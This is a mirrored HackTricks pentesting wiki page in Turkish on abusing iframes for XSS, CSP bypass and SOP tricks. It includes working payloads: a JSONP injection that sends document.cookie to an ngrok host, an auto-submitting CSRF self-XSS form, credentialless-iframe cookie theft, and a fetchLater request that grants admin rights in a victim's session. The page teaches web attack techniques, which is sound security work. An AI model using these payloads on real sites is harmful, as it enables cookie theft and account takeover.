mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
205 lines
8.9 KiB
Markdown
205 lines
8.9 KiB
Markdown
# XSS, CSP ve SOP'da Iframe'ler
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## XSS'de Iframe'ler
|
||
|
||
Iframe'li bir sayfanın içeriğini belirtmenin 3 yolu vardır:
|
||
|
||
- Bir URL belirten `src` aracılığıyla (URL, farklı kökenli veya aynı kökenli olabilir)
|
||
- `data:` protokolünü kullanarak içeriği belirten `src` aracılığıyla
|
||
- İçeriği belirten `srcdoc` aracılığıyla
|
||
|
||
**Ana ve Çocuk değişkenlerine Erişim**
|
||
```html
|
||
<html>
|
||
<script>
|
||
var secret = "31337s3cr37t"
|
||
</script>
|
||
|
||
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
|
||
<iframe id="if2" src="child.html"></iframe>
|
||
<iframe
|
||
id="if3"
|
||
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||
<iframe
|
||
id="if4"
|
||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||
|
||
<script>
|
||
function access_children_vars() {
|
||
alert(if1.secret)
|
||
alert(if2.secret)
|
||
alert(if3.secret)
|
||
alert(if4.secret)
|
||
}
|
||
setTimeout(access_children_vars, 3000)
|
||
</script>
|
||
</html>
|
||
```
|
||
|
||
```html
|
||
<!-- content of child.html -->
|
||
<script>
|
||
var secret = "child secret"
|
||
alert(parent.secret)
|
||
</script>
|
||
```
|
||
Eğer önceki html'ye bir http sunucusu (örneğin `python3 -m http.server`) aracılığıyla erişirseniz, tüm scriptlerin çalıştırılacağını göreceksiniz (çünkü bunu engelleyen bir CSP yok). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemeyecek** ve **sadece if2 ve if3 iframe'leri (aynı site olarak kabul edilenler) orijinal penceredeki secret'a erişebilir**.\
|
||
if4'ün `null` kökenine sahip olduğu dikkate alın.
|
||
|
||
### CSP ile Iframe'ler <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||
|
||
> [!TIP]
|
||
> Lütfen, aşağıdaki bypass'larda iframed sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğine dikkat edin.
|
||
|
||
`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliği kullanarak JS kodunun yürütülmesine izin vermeyecektir.\
|
||
Ancak, CSP'nin `none` değeri bile, `src` niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin yürütülmesine izin verecektir.\
|
||
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
|
||
```html
|
||
<html>
|
||
<head>
|
||
<meta
|
||
http-equiv="Content-Security-Policy"
|
||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
||
</head>
|
||
<script>
|
||
var secret = "31337s3cr37t"
|
||
</script>
|
||
<iframe id="if1" src="child.html"></iframe>
|
||
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
|
||
<iframe
|
||
id="if3"
|
||
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||
<iframe
|
||
id="if4"
|
||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||
</html>
|
||
```
|
||
Not edin ki **önceki CSP yalnızca inline script'in çalışmasına izin veriyor**.\
|
||
Ancak, **yalnızca `if1` ve `if2` script'leri çalıştırılacak, fakat yalnızca `if1` ana gizli veriye erişebilecek**.
|
||
|
||
.png>)
|
||
|
||
Bu nedenle, **eğer bir JS dosyasını sunucuya yükleyip iframe aracılığıyla yükleyebiliyorsanız CSP'yi atlatmak mümkündür, hatta `script-src 'none'` ile bile**. Bu, **potansiyel olarak aynı site JSONP uç noktasını kötüye kullanarak da yapılabilir**.
|
||
|
||
Bunu, `script-src 'none'` ile bile bir çerezin çalındığı aşağıdaki senaryo ile test edebilirsiniz. Uygulamayı çalıştırın ve tarayıcınızla erişin:
|
||
```python
|
||
import flask
|
||
from flask import Flask
|
||
app = Flask(__name__)
|
||
|
||
@app.route("/")
|
||
def index():
|
||
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
|
||
resp.headers['Content-Security-Policy'] = "script-src 'self'"
|
||
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
|
||
return resp
|
||
|
||
@app.route("/cookie_s.html")
|
||
def cookie_s():
|
||
return "<script>alert(document.cookie)</script>"
|
||
|
||
if __name__ == "__main__":
|
||
app.run()
|
||
```
|
||
### Diğer Yükler doğada bulundu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||
```html
|
||
<!-- This one requires the data: scheme to be allowed -->
|
||
<iframe
|
||
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
|
||
<!-- This one injects JS in a jsonp endppoint -->
|
||
<iframe srcdoc='
|
||
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
|
||
<iframe
|
||
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
|
||
```
|
||
### Iframe sandbox
|
||
|
||
Iframe içindeki içerik, `sandbox` niteliği kullanılarak ek kısıtlamalara tabi tutulabilir. Varsayılan olarak, bu nitelik uygulanmaz, yani hiçbir kısıtlama yoktur.
|
||
|
||
Kullanıldığında, `sandbox` niteliği birkaç sınırlama getirir:
|
||
|
||
- İçerik, sanki benzersiz bir kaynaktan geliyormuş gibi muamele görür.
|
||
- Formları göndermeye yönelik herhangi bir girişim engellenir.
|
||
- Scriptlerin çalıştırılması yasaktır.
|
||
- Belirli API'lere erişim devre dışı bırakılır.
|
||
- Bağlantıların diğer tarayıcı bağlamlarıyla etkileşimde bulunması engellenir.
|
||
- `<embed>`, `<object>`, `<applet>` veya benzeri etiketler aracılığıyla eklentilerin kullanımı yasaktır.
|
||
- İçeriğin kendisi tarafından üst düzey tarayıcı bağlamına navigasyon engellenir.
|
||
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
|
||
|
||
Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerler listesi olarak ayarlanabilir.
|
||
```html
|
||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||
```
|
||
### Credentialless iframes
|
||
|
||
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) açıklandığı gibi, bir iframe'deki `credentialless` bayrağı, yüklenen sayfanın aynı köken politikasını (SOP) korurken, bir iframe içinde bir sayfayı kimlik bilgileri göndermeden yüklemek için kullanılır.
|
||
|
||
Bu, iframe'in, ana sayfada yüklenen aynı SOP'deki başka bir iframe'den hassas bilgilere erişmesine olanak tanır:
|
||
```javascript
|
||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||
alert(window.top[1].document.cookie);
|
||
```
|
||
- Exploit örneği: Self-XSS + CSRF
|
||
|
||
Bu saldırıda, saldırgan 2 iframe içeren kötü niyetli bir web sayfası hazırlar:
|
||
|
||
- `credentialless` bayrağı ile kurbanın sayfasını yükleyen bir iframe ve bir XSS tetikleyen bir CSRF (Kullanıcının kullanıcı adında bir Self-XSS hayal edin):
|
||
```html
|
||
<html>
|
||
<body>
|
||
<form action="http://victim.domain/login" method="POST">
|
||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
- Gerçekten kullanıcının giriş yaptığı ( `credentialless` bayrağı olmadan) başka bir iframe.
|
||
|
||
Sonra, XSS'den diğer iframe'e erişmek mümkündür çünkü aynı SOP'ye sahiptirler ve örneğin çerezi çalmak için şu komutu çalıştırabilirsiniz:
|
||
```javascript
|
||
alert(window.top[1].document.cookie);
|
||
```
|
||
### fetchLater Saldırısı
|
||
|
||
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) belirtildiği gibi, `fetchLater` API'si bir isteğin daha sonra (belirli bir süre sonra) yürütülmesi için yapılandırılmasına olanak tanır. Bu nedenle, bu, örneğin, bir kurbanı bir saldırganın oturumu içinde (Self-XSS ile) oturum açmak, mevcut kullanıcının şifresini değiştirmek için bir `fetchLater` isteği ayarlamak ve saldırganın oturumundan çıkmak için kötüye kullanılabilir. Ardından, kurban kendi oturumuna giriş yapar ve `fetchLater` isteği yürütülerek, kurbanın şifresi saldırgan tarafından ayarlanan şifreye değiştirilir.
|
||
|
||
Bu şekilde, kurbanın URL'si bir iframe içinde yüklenemese bile (CSP veya diğer kısıtlamalar nedeniyle), saldırgan yine de kurbanın oturumunda bir isteği yürütme yeteneğine sahip olabilir.
|
||
```javascript
|
||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||
const minute = 60000
|
||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||
for (let timeout of arr)
|
||
fetchLater(req,{activateAfter: timeout})
|
||
```
|
||
## SOP'de Iframe'ler
|
||
|
||
Aşağıdaki sayfaları kontrol edin:
|
||
|
||
{{#ref}}
|
||
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
|
||
{{#endref}}
|
||
|
||
{{#ref}}
|
||
../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
|
||
{{#endref}}
|
||
|
||
{{#ref}}
|
||
../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
|
||
{{#endref}}
|
||
|
||
{{#ref}}
|
||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||
{{#endref}}
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|